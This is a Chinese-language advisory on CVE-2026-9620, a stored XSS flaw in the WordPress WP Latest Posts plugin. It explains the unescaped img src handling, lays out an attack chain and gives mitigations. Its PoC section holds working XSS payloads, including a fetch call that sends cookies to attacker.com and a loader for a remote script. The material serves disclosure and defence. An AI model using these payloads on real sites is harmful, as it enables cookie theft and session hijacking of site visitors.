CVE-2026-9620：WP Latest Posts插件存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2026-9620

漏洞类型

存储型跨站脚本攻击（Stored XSS）

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WordPress WP Latest Posts插件

漏洞概述

CVE-2026-9620是WordPress WP Latest Posts插件中存在的一个存储型跨站脚本（Stored XSS）漏洞。该插件是一款用于在WordPress网站上展示最新文章列表的流行插件，活跃安装量较大。漏洞影响版本为5.0.11及以下所有版本，CVSS评分为6.4，属于中危级别。

该漏洞的核心问题在于插件在处理文章内容中的图片标签时，未能对提取出的src属性值进行充分的输出转义。具体而言，插件的field()和loop()函数使用正则表达式从post_content中提取<img>标签的原始src属性值，然后直接将未转义的值拼接重构为新的<img>元素或CSS background-image声明。这一处理过程完全绕过了WordPress核心的kses过滤机制，导致恶意脚本能够被持久化存储到数据库中。

利用该漏洞需要攻击者拥有作者级别（author-level）及以上的认证权限。攻击者可以通过在文章内容中注入精心构造的图片src属性，将任意JavaScript代码嵌入到页面中。当其他用户访问包含恶意内容的页面时，注入的脚本将在受害者浏览器中执行，可能导致会话劫持、权限提升、敏感信息窃取等严重后果。由于漏洞利用需要认证权限，且影响范围限于前端展示页面，因此整体严重性被评定为中危。

技术细节

该漏洞的技术根源在于WP Latest Posts插件对文章内容中图片标签的不安全处理方式。

**漏洞原理：**

在WordPress中，正常的内容保存流程会通过kses过滤机制对HTML内容进行清理，移除或转义潜在的恶意脚本标签和属性。然而，WP Latest Posts插件的field()和loop()函数（位于inc/wplp-front.inc.php文件中，分别对应第2284行、第2326行和第2738行附近的代码逻辑）采用了以下危险的处理流程：

1. 使用正则表达式（如preg_match_all配合匹配<img>标签src属性的模式）从post_content中提取原始src属性值；
2. 直接将提取的原始值拼接到新的HTML字符串中，用于重新构建<img>元素或CSS background-image声明；
3. 由于整个过程绕过了WordPress的kses过滤，攻击者注入的恶意JavaScript代码得以原样保留。

**利用方式：**

攻击者以作者权限登录WordPress后台，创建或编辑文章，在文章正文中插入包含恶意src属性的img标签。由于src属性值最终会被拼接到HTML输出中且未经过转义，攻击者可以通过以下方式注入脚本：

- 利用onerror事件处理器或javascript:伪协议
- 在src属性中注入闭合标签后的script代码
- 利用CSS expression或behavior属性（在旧版IE中）

当普通用户或管理员访问包含该文章的页面时，恶意脚本将在其浏览器上下文中执行，可执行窃取cookie、劫持会话、发起CSRF攻击等恶意操作。

攻击链分析

STEP 1

步骤1：获取认证权限

攻击者通过注册账号或利用已有凭证获取WordPress站点的作者级别（Author）及以上权限。WP Latest Posts插件允许作者创建和编辑文章。

STEP 2

步骤2：注入恶意载荷

攻击者创建新文章或编辑已有文章，在文章正文中插入精心构造的<img>标签，其src属性包含恶意JavaScript代码（如onerror事件处理器或script标签）。

STEP 3

步骤3：绕过kses过滤

文章保存时，WordPress核心的kses过滤机制对post_content进行清理。但WP Latest Posts插件的field()和loop()函数使用正则表达式直接提取src属性值并拼接为新HTML，完全绕过了kses过滤。

STEP 4

步骤4：恶意内容持久化

包含恶意脚本的文章被保存到WordPress数据库中。由于是存储型XSS，恶意代码将持续存在，每次页面渲染时都会被加载。

STEP 5

步骤5：受害者访问触发

当普通用户、管理员或任何访问者浏览包含该文章的页面（尤其是通过WP Latest Posts插件展示的文章列表）时，恶意JavaScript在受害者浏览器中执行。

STEP 6

步骤6：恶意操作执行

注入的脚本可执行窃取cookie、会话劫持、发起CSRF攻击以提升权限、植入后门、窃取敏感信息或重定向到恶意网站等操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!--
PoC for CVE-2026-9620: Stored XSS in WP Latest Posts Plugin
Vulnerable versions: <= 5.0.11
Required privilege: Author level or above

The attacker creates/edits a post and injects the following malicious
img tag into the post content. The plugin's field() and loop() functions
extract the raw src attribute via regex and reconstruct HTML without
escaping, bypassing WordPress kses filtering.
-->

<!-- Malicious post content (inserted by authenticated author) -->
<img src="><img src=x onerror=alert(document.cookie)><!--

<!-- Alternative payloads -->
<!-- Payload 1: Cookie stealing -->
<img src="><script>fetch('https://attacker.com/steal?c='+document.cookie)</script><!--

<!-- Payload 2: Admin session hijacking -->
<img src="><img src=x onerror="var s=document.createElement('script');s.src='https://attacker.com/hook.js';document.body.appendChild(s);"><!--

<!-- Payload 3: Using javascript: URI in reconstructed background-image -->
<img src="javascript:alert('XSS')">

<!--
When the post is rendered through the WP Latest Posts widget/block,
the plugin's regex extracts the raw src value and directly concatenates
it into the output HTML, causing the injected script to execute in
the victim's browser.
-->

影响范围

WP Latest Posts < 5.0.12

WP Latest Posts <= 5.0.11

防御指南

临时缓解措施

在官方补丁发布前，建议采取以下临时缓解措施：1）临时停用WP Latest Posts插件，直到升级到安全版本；2）如果业务无法停用插件，应限制作者及以上权限用户的注册和文章发布功能，仅允许可信用户操作；3）通过WAF或.htaccess规则过滤包含onerror、javascript:等XSS特征的img标签；4）定期审计文章内容数据库，排查已存在的恶意注入；5）部署内容安全策略（CSP）头，限制页面中脚本的执行来源。